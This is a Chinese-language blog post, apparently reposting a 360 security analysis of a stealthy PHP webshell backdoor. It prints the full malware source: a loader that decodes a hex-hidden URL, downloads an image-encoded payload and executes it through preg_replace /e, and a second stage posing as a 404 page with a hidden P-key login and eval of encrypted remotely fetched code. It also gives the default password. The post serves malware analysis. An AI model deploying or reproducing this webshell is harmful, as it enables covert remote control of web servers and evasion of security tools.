PHP后门新玩法:一款猥琐的PHP后门分析
本文是在鲜果订阅里看到来自freebuf站点的内容,而该文的原出处来自于360博客 。虽然本人对php代码的了解挺皮毛,不过感觉该木马的思路非常有意思 。出于围观和膜拜精神,现将该文内容做下摘录,并根据360上分析的步骤操作了一次。
phpwebshell代码如下:
1<?php
2error_reporting(0);
3session_start();
4header(“Content-type:text/html;charset=utf-8″);if(empty($_SESSION['api']))
5$_SESSION['api']=substr(file_get_contents(
6sprintf('%s?%s',pack("H*",
7'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649);
8@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
9?>
关键看下面这句代码:
1<?php
2echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
3'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
4?>
这里执行之后其实是一张图片,解密出来的图片地址如下:http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码。不过原作者很警觉也很牛X,等我用360上的方法试的时候,代码解析出的结果已经变了,变成如下:
1//<?php
2init();
3function init()
4{
5 echo "<p>密码自从被泄露和360公开分析,所以特此升级了一下~</p>
6 <p>author:[email protected]</p>
7 <p>顺便再次鄙视冒充作者的那些无聊人~</p>
8 <p>代码完善将会在21 22两日左右~请期待~</p>
9 <p>在写作第一版的时候,技术有限,沉余比较多</p>
10 <p>第一版已经作废,特此公布第一版源码下载地址</p>
11 <p>下载地址:<a href='http://require.duapp.com/v3.rar'>http://require.duapp.com/v3.rar</a></p>
12 <p>第二版代码如下</p>
13 <p>问我叫什么?暂且叫我小e吧。。或者blackbin</p>
14 ";
15 echo file_get_contents('http://require.duapp.com/index2.php');
16}
17// ?>
我按上面的提示去下载源代码时,发现提示403错误,file_get_contents获取的页面也是403禁止访问。源码360博客上也已经做了截图:http://blog.wangzhan.360.cn/wp-content/uploads/2014/03/w1.png ,不过后来我在github上还是找到了该webshell公布的代码,具体可以查看https://github.com/tennc/webshell/tree/master/php/blackbin
下面继续360上的分析:分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,代码这里我粘一下吧:
1<?php
2init();
3class Crypt
4{
5 static function encrypt($str, $key, $toBase64 = false)
6 {
7 $r = md5(uniqid());
8 $c = 0;
9 $v = "";
10 $len = strlen($str);
11 $l = strlen($r);
12 for ($i = 0; $i < $len; $i++) {
13 if ($c == $l)
14 $c = 0;
15 $v .= substr($r, $c, 1) . (substr($str, $i, 1) ^ substr($r, $c, 1));
16 $c++;
17 }
18 if ($toBase64) {
19 return gzcompress(self::ed($v, $key));
20 } else {
21 return self::ed($v, $key);
22 }
23 }
24 static function decrypt($str, $key, $toBase64 = false)
25 {
26 if ($toBase64) {
27 $str = self::ed(gzuncompress($str), $key);
28 } else {
29 $str = self::ed($str, $key);
30 }
31 $v = "";
32 $len = strlen($str);
33 for ($i = 0; $i < $len; $i++) {
34 $md5 = substr($str, $i, 1);
35 $i++;
36 $v .= (substr($str, $i, 1) ^ $md5);
37 }
38 return $v;
39 }
40 static function ed($str, $key)
41 {
42 $r = md5($key);
43 $c = 0;
44 $v = "";
45 $len = strlen($str);
46 $l = strlen($r);
47 for ($i = 0; $i < $len; $i++) {
48 if ($c == $l)
49 $c = 0;
50 $v .= substr($str, $i, 1) ^ substr($r, $c, 1);
51 $c++;
52 }
53 return $v;
54 }
55}
56function init()
57{
58 //update
59 /****
60 if (!defined("debug") && filesize($_SERVER["SCRIPT_FILENAME"]) != "371") {
61 $name = basename($_SERVER["SCRIPT_FILENAME"]);
62 $txt = gzuncompress(_REQUEST(pack('H*',
63 '687474703a2f2f323031326865696b652e676f6f676c65636f64652e636f6d2f73766e2f7472756e6b2f6d696e692e686b')));
64 if (true == @file_put_contents($name, $txt)) {
65 header("location:" . $name);
66 }
67 }
68 ***/
69 session_start();
70 set_time_limit(0);
71 ini_set('memory_limit', -1);
72 /***
73 if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {
74 header("HTTP/1.1 404 Not Found");
75 header("Status: 404 Not Found");
76 exit();
77 }
78 ***/
79 $login = <<< HTML
80
81<head>
82 <meta http-equiv="content-type" content="text/html" />
83 <meta name="author" content="Steve Smith" />
84 <meta http-equiv="content-type" charset="UTF-8" />
85 <title>404 Not Found</title>
86 <style>
87 input{font:11px Verdana;BACKGROUND:#FFFFFF;height:18px;border:1px solid #666666;}
88 #login{display:none;}
89 </style>
90</head>
91<body>
92 <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
93 <div id="login">
94 <form action="" method="POST">
95 <span style="font:11px Verdana;">
96 Password:
97 </span>
98 <input id="pwd" name="pwd" type="password" size="20" />
99 <input id="submit" type="button" value="login" />
100 </form>
101 </div>
102<script>
103function $(d) {
104 return document.getElementById(d)
105}
106function sideOut(t) {
107 if(t==null) t=1500;
108 window.setTimeout(display, t);
109 function display() {
110 $("notice").style.display = "none"
111 }
112}
113$("submit").onclick = function() {
114 var pwd = $("pwd").value;
115 var options = {};
116 options.url = '{self}';
117 options.listener = callback;
118 options.method = 'POST';
119 var request = XmlRequest(options);
120 request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
121 if (pwd) request.send('pwd=' + pwd);
122 else{
123 $("notice").style['display']='block';
124 $("notice").innerHTML='DATA-ERROR';
125 sideOut();
126 }
127 }
128function XmlRequest(options) {
129 var req = false;
130 if (window.XMLHttpRequest) {
131 var req = new XMLHttpRequest()
132 } else if (window.ActiveXObject) {
133 var req = new window.ActiveXObject('Microsoft.XMLHTTP')
134 }
135 if (!req) return false;
136 req.onreadystatechange = function() {
137 if (req.readyState == 4 && req.status == 200) {
138 options.listener.call(req)
139 }
140 };
141 req.open(options.method, options.url, true);
142 return req
143}
144function callback() {
145 var json = eval("(" + this.responseText + ")");
146 if (json.status=='on'){
147 window.location.reload();
148 return;
149 }
150 if (json.notice) {
151 $("notice").style.display = "block";
152 $("notice").innerHTML = json.notice;
153 sideOut();
154 }
155}
156document.onkeydown = function(e) {
157 var theEvent = window.event || e;
158 var code = theEvent.keyCode || theEvent.which;
159 if (80 == code) {
160 $("login").style.display = "block"
161 }
162 }
163</script>
164</body>
165</html>
166HTML;
167 if ($_POST['pwd'] == true) {
168 $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
169 '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
170 $_POST['pwd'], true)));
171 if ('true' == $true) {
172 setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);
173 exit('{"status":"on"}');
174 } else {
175 exit('{"notice":"API-ERROR"}');
176 }
177 }
178 if ($_COOKIE['key'] == true) {
179 $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
180 '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
181 $_COOKIE['key'], true)));
182 if ('true' == $true) {
183 if ($_SESSION['code'] == null) {
184 $_SESSION['code'] = _REQUEST(sprintf("%s?%s",pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'),uniqid()));
185 } else {
186 $_SESSION['code'] = $_SESSION['code'];
187 }
188 eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_COOKIE['key'], true))));
189 }
190 }
191 if ($_COOKIE['key'] == null) {
192 echo str_replace('{self}', $_SERVER["SCRIPT_NAME"], $login);
193 exit();
194 }
195}
196function _Content($fsock = null)
197{
198 $out = null;
199 while ($buff = @fgets($fsock, 2048)) {
200 $out .= $buff;
201 }
202 fclose($fsock);
203 $pos = strpos($out, "rnrn");
204 $head = substr($out, 0, $pos); //http head
205 $status = substr($head, 0, strpos($head, "rn")); //http status line
206 $body = substr($out, $pos + 4, strlen($out) - ($pos + 4)); //page body
207 if (preg_match("/^HTTP/d.ds([d]+)s.*$/", $status, $matches)) {
208 if (intval($matches[1]) / 100 == 2) {
209 return $body;
210 } else {
211 return false;
212 }
213 } else {
214 return false;
215 }
216}
217function _REQUEST($url)
218{
219 $url2 = parse_url($url);
220 $fsock_timeout = 30; //5 second
221 if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout)) < 0) {
222 return false;
223 }
224 $request = $url2["path"];
225 $in = "GET " . $request . " HTTP/1.1rn";
226 $in .= "Accept: */*rn";
227 $in .= "User-Agent: E/1.0 EBSDrn";
228 $in .= "Host: " . $url2["host"] . "rn";
229 $in .= "Connection: Closernrn";
230 if (!@fwrite($fsock, $in, strlen($in))) {
231 fclose($fsock);
232 return false;
233 }
234 return _Content($fsock);
235}
236 ?>
而在这段代码有一段关于document.onkeydown = function(e) …… block的js代码,这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键。所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:
而在该段代码的开始定义的两个函数encrypt、decrypt两处,可以看出程序用的是对称加密,并且将登陆密码作为加密key 。而init函数部分是对密码进行的一个认证,默认是demo123456,如果输入的结果是这个,则认证成功,否则失败。
而一旦认证成功,其又同前面一样,会请求出一个图片,pack出来的地址是:http://2012heike.googlecode.com/svn/trunk/code.jpg ,同样,最后会使用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容,文件内容就是我上面github里列出的code.php里的内容。这个没什么好说的,在360官方blog上也给出了截图 。
最后的总结,同样引用下360站点上的分析总结:这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!